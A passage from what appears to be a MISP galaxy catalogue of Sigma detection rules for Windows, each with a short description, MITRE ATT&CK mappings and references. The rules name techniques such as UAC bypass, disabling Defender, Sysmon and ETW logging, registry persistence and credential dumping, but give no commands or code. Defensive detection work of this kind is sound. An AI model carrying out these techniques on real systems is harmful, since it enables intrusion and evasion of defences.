<td><a href="https://persistence-info.github.io/Data/Isaaextension.html">https://persistence-info.github.io/Data/Isaaextension.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1476286368385019906">https://twitter.com/0gtweet/status/1476286368385019906</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_kea_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_kea_extension.yml</a></td>
</tr>
</tbody>
</table>

Bypass UAC Using Event Viewer

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification

The tag is: misp-galaxy:sigma-rules="Bypass UAC Using Event Viewer"

View relationships graph

Bypass UAC Using Event Viewer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"

Table 8828. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
| https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d0f6057f7fcd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-
  test-1---bypass-uac-using-event-viewer-cmd                           |
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_by
  pass_uac_using_eventviewer.yml                                        |

Suspicious New Printer Ports in Registry (CVE-2020-1048)

Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048

The tag is: misp-galaxy:sigma-rules="Suspicious New Printer Ports in Registry (CVE-2020-1048)"
Suspicious New Printer Ports in Registry (CVE-2020-1048) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8829. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://windows-internals.com/printdemon-cve-2020-1048/">https://windows-internals.com/printdemon-cve-2020-1048/</a></td>
</tr>
</tbody>
</table>

Enable Microsoft Dynamic Data Exchange

Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.

The tag is: misp-galaxy:sigma-rules="Enable Microsoft Dynamic Data Exchange"

Table 8830. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_offICE_enable_dde.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_offICE_enable_dde.yml</a></td>
</tr>
</tbody>
</table>

New Application in AppCompat

A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.

The tag is: misp-galaxy:sigma-rules="New Application in AppCompat"

Table 8830. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_offICE_enable_dde.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_offICE_enable_dde.yml</a></td>
</tr>
</tbody>
</table>
### Windows Defender Service Disabled

Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry.

The tag is: `misp-galaxy: sigma-rules="Windows Defender Service Disabled"`

View relationships graph

Windows Defender Service Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

### ScreenSaver Registry Key Set

Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl.

The tag is: `misp-galaxy: sigma-rules="ScreenSaver Registry Key Set"`

View relationships graph

ScreenSaver Registry Key Set has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
Hypervisor Enforced Code Integrity Disabled

Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel.

The tag is: `misp-galaxy:sigma-rules="Hypervisor Enforced Code Integrity Disabled"`

View relationships graph

Hypervisor Enforced Code Integrity Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8834. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/04e487c1828d76df3e834621f4f893ea756d5232/atomics/T1562.001/T1562.001.md#atomic-test-43---disable-hypervisor-enforced-code-integrity-hvci">https://github.com/redcanaryco/atomic-red-team/blob/04e487c1828d76df3e834621f4f893ea756d5232/atomics/T1562.001/T1562.001.md#atomic-test-43---disable-hypervisor-enforced-code-integrity-hvci</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/">https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via Outlook Today Pages

Detects potential persistence activity via outlook today pages. An attacker can set a custom page to execute arbitrary code and link to it via the registry key "UserDefinedUrl".

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Outlook Today Pages"`

View relationships graph

Potential Persistence Via Outlook Today Pages has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8835. Table References
Potential Persistence Via AutodialDLL

Detects change the the "AutodialDLL" key which could be used as a persistence method to load custom DLL via the "ws2_32" library

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via AutodialDLL"`

Modify User Shell Folders Startup Value

Detect modification of the startup key to a path where a payload could be stored to be launched during startup

The tag is: `misp-galaxy:sigma-rules="Modify User Shell Folders Startup Value"`

Disable Sysmon Event Logging Via Registry

Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude
of another registered service, it will fail to load at boot.

The tag is: misp-galaxy:sigma-rules="Disable Sysmon Event Logging Via Registry"

View relationships graph

Disable Sysmon Event Logging Via Registry has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8838. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650">https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/zSihR3lTf7g">https://youtu.be/zSihR3lTf7g</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml</a></td>
</tr>
</tbody>
</table>

**CurrentVersion Autorun Keys Modification**

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: misp-galaxy:sigma-rules="CurrentVersion Autorun Keys Modification"

View relationships graph

CurrentVersion Autorun Keys Modification has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 8839. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d">https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_as.ep_reg_keys_modification_currentversion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_as.ep_reg_keys_modification_currentversion.yml</a></td>
</tr>
</tbody>
</table>

**Modification of Explorer Hidden Keys**

Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.
The tag is: misp-galaxy:sigma-rules="Modification of Explorer Hidden Keys"

View relationships graph

Modification of Explorer Hidden Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 8840. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry</a></td>
</tr>
</tbody>
</table>

Registry Modification to Hidden File Extension

Hides the file extension through modification of the registry

The tag is: misp-galaxy:sigma-rules="Registry Modification to Hidden File Extension"

View relationships graph

Registry Modification to Hidden File Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Table 8841. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ransomware-families/">https://unit42.paloaltonetworks.com/ransomware-families/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml</a></td>
</tr>
</tbody>
</table>

Adwind RAT / JRAT - Registry

Detects javaw.exe in AppData folder as used by Adwind / JRAT

The tag is: misp-galaxy:sigma-rules="Adwind RAT / JRAT - Registry"
Adwind RAT / JRAT - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 8842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100">https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml</a></td>
</tr>
</tbody>
</table>

**Bypass UAC Using SilentCleanup Task**

There is an auto-elevated task called SilentCleanup located in `%windir%\system32\cleanmgr.exe` This can be abused to elevate any file with Administrator privileges without prompting UAC

The tag is: `misp-galaxy:sigma-rules="Bypass UAC Using SilentCleanup Task"`

Table 8843. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/">https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7d0f3c2d3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7d0f3c2d3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task</a></td>
</tr>
</tbody>
</table>

**ClickOnce Trust Prompt Tampering**

Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from
different locations such as the Internet.

The tag is: *misp-galaxy:sigma-rules=*"ClickOnce Trust Prompt Tampering"

**Table 8844. Table References**

**Links**

- [https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5](https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5)

**Suspicious Service Installed**

Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs ([https://github.com/bats3c/Ghost-In-The-Logs](https://github.com/bats3c/Ghost-In-The-Logs)), which uses KDU ([https://github.com/hfiref0x/KDU](https://github.com/hfiref0x/KDU))

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Service Installed"

**Table 8845. Table References**

**Links**


**Disable Macro Runtime Scan Scope**

Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros
### DNS-over-HTTPS Enabled by Registry

Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.

The tag is: *misp-galaxy:sigma-rules="DNS-over-HTTPS Enabled by Registry"*

#### View relationships graph

DNS-over-HTTPS Enabled by Registry has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"* with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"* with estimative-language:likelihood-probability="almost-certain"

---

**Table 8846. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba">https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba</a></td>
</tr>
</tbody>
</table>

---

**Table 8847. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS">https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS</a></td>
</tr>
<tr>
<td><a href="https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode">https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode</a></td>
</tr>
</tbody>
</table>
Potential WerFault ReflectDebugger Registry Value Abuse

Detects potential WerFault "ReflectDebugger" registry value abuse for persistence.

The tag is: misp-galaxy:sigma-rules="Potential WerFault ReflectDebugger Registry Value Abuse"

View relationships graph

Potential WerFault ReflectDebugger Registry Value Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 8848. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_reflectdebugger.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_pe\rsistence_reflectdebugger.yml</a></td>
</tr>
</tbody>
</table>

Disable Windows Security Center Notifications

Detect set UseActionCenterExperience to 0 to disable the Windows security center notification

The tag is: misp-galaxy:sigma-rules="Disable Windows Security Center Notifications"

View relationships graph

Disable Windows Security Center Notifications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8849. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red%5Cn%5Cnteam/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1112/T1112.md">https://github.com/redcanaryco/atomic-red\n\nteam/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1112/T1112.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dis%5Cnable_security_center_notifications.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dis\nable_security_center_notifications.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via Event Viewer Events.asp

Detects potential registry persistence technique using the Event Viewer "Events.asp" technique

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via Event Viewer Events.asp"
View relationships graph

Potential Persistence Via Event Viewer Events.asp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8850. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md">https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md</a></td>
</tr>
<tr>
<td><a href="https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/">https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1626648985824788480">https://twitter.com/nas_bench/status/1626648985824788480</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_event_viewer_events_asp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_event_viewer_events_asp.yml</a></td>
</tr>
</tbody>
</table>

Hide Schedule Task Via Index Value Tamper

Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique)

The tag is: misp-galaxy:sigma-rules="Hide Schedule Task Via Index Value Tamper"

View relationships graph

Hide Schedule Task Via Index Value Tamper has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 8851. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments">https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml</a></td>
</tr>
</tbody>
</table>

Potential AutoLogger Sessions Tampering

Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging
The tag is: misp-galaxy:sigma-rules="Potential AutoLogger Sessions Tampering"

Table 8852. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/">https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MichalKoczwara/status/1553634816016498688">https://twitter.com/MichalKoczwara/status/1553634816016498688</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml</a></td>
</tr>
</tbody>
</table>

ETW Logging Disabled In .NET Processes - Sysmon Registry

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

The tag is: misp-galaxy:sigma-rules="ETW Logging Disabled In .NET Processes - Sysmon Registry"

View relationships graph

ETW Logging Disabled In .NET Processes - Sysmon Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 8853. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables">https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables</a></td>
</tr>
<tr>
<td><a href="https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23cbbc4e12931bd9cc2eee27e4-for?forum=clr">https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23cbbc4e12931bd9cc2eee27e4-for?forum=clr</a></td>
</tr>
<tr>
<td><a href="https://github.com/dotnet/runtime/search?p=1&amp;q=COMPlus_&amp;unscoped_q=COMPlus">https://github.com/dotnet/runtime/search?p=1&amp;q=COMPlus_&amp;unscoped_q=COMPlus</a>_</td>
</tr>
<tr>
<td><a href="https://twitter.com/xpn/status/1268712093928378368">https://twitter.com/xpn/status/1268712093928378368</a></td>
</tr>
<tr>
<td><a href="https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/">https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/</a></td>
</tr>
<tr>
<td><a href="https://bunnyinside.com/?term=f71e8cb9c76a">https://bunnyinside.com/?term=f71e8cb9c76a</a></td>
</tr>
<tr>
<td><a href="https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code">https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code</a></td>
</tr>
<tr>
<td><a href="http://managed670.rssing.com/chan-5590147/all_p1.html">http://managed670.rssing.com/chan-5590147/all_p1.html</a></td>
</tr>
</tbody>
</table>
Potential Persistence Via COM Hijacking From Suspicious Locations

Detects potential COM object hijacking where the "Server" (In/Out) is pointing to a suspicious or unsafe location

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via COM Hijacking From Suspicious Locations"

View relationships graph

Potential Persistence Via COM Hijacking From Suspicious Locations has relationships with:


Internet Explorer Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: misp-galaxy:sigma-rules="Internet Explorer Autorun Keys Modification"

View relationships graph

Internet Explorer Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
Potential Credential Dumping Attempt Using New NetworkProvider - REG

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it.

The tag is: `misp-galaxy:sigma-rules="Potential Credential Dumping Attempt Using New NetworkProvider - REG"`

View relationships graph

Potential Credential Dumping Attempt Using New NetworkProvider - REG has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"

Table 8856. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy">https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy</a></td>
</tr>
</tbody>
</table>

Potential Ransomware Activity Using LegalNotice Message

Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages.

The tag is: `misp-galaxy:sigma-rules="Potential Ransomware Activity Using LegalNotice Message"`

View relationships graph

Potential Ransomware Activity Using LegalNotice Message has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001"` with estimative-language:likelihood-probability="almost-certain"
**Disable Internal Tools or Feature in Registry**

Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)

The tag is: `misp-galaxy: sigma-rules="Disable Internal Tools or Feature in Registry"`

View relationships graph

Disable Internal Tools or Feature in Registry has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`

**Potential AMSI COM Server Hijacking**

Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless

The tag is: `misp-galaxy: sigma-rules="Potential AMSI COM Server Hijacking"`

View relationships graph

Potential AMSI COM Server Hijacking has relationships with:
Register New IFilters For Persistence

Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.

The tag is: `misp-galaxy:sigma-rules="Register New IFilter For Persistence"`

VBScript Payload Stored in Registry

Detects VBScript content stored into registry keys as seen being used by UNC2452 group.

The tag is: `misp-galaxy:sigma-rules="VBScript Payload Stored in Registry"`

View relationships graph

VBScript Payload Stored in Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
Potential Persistence Via TypedPaths

Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via TypedPaths"

Table 8862. Table References

ServiceDll Hijack

Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.

The tag is: misp-galaxy:sigma-rules="ServiceDll Hijack"

Table 8863. Table References
Unsigned Module Loaded by ClickOnce Application

Detects unsigned module load by ClickOnce application.

The tag is: `misp-galaxy:sigma-rules="Unsigned Module Loaded by ClickOnce Application"`

View relationships graph

Unsigned Module Loaded by ClickOnce Application has relationships with:


Table 8864. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5">https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_clickonce_unsigned_module_loaded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_clickonce_unsigned_module_loaded.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded

Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecraft use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.

The tag is: `misp-galaxy:sigma-rules="Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded"`

View relationships graph

Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8865. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html">https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_unsigned_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_unsigned_load.yml</a></td>
</tr>
</tbody>
</table>
WMIC Loading Scripting Libraries

Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).

The tag is: `misp-galaxy:sigma-rules="WMIC Loading Scripting Libraries"`

View relationships graph

WMIC Loading Scripting Libraries has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220"` with estimative-language:likelihood-probability="almost-certain"

Table 8866. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Wmic/">https://lolbas-project.github.io/lolbas/Binaries/Wmic/</a></td>
</tr>
<tr>
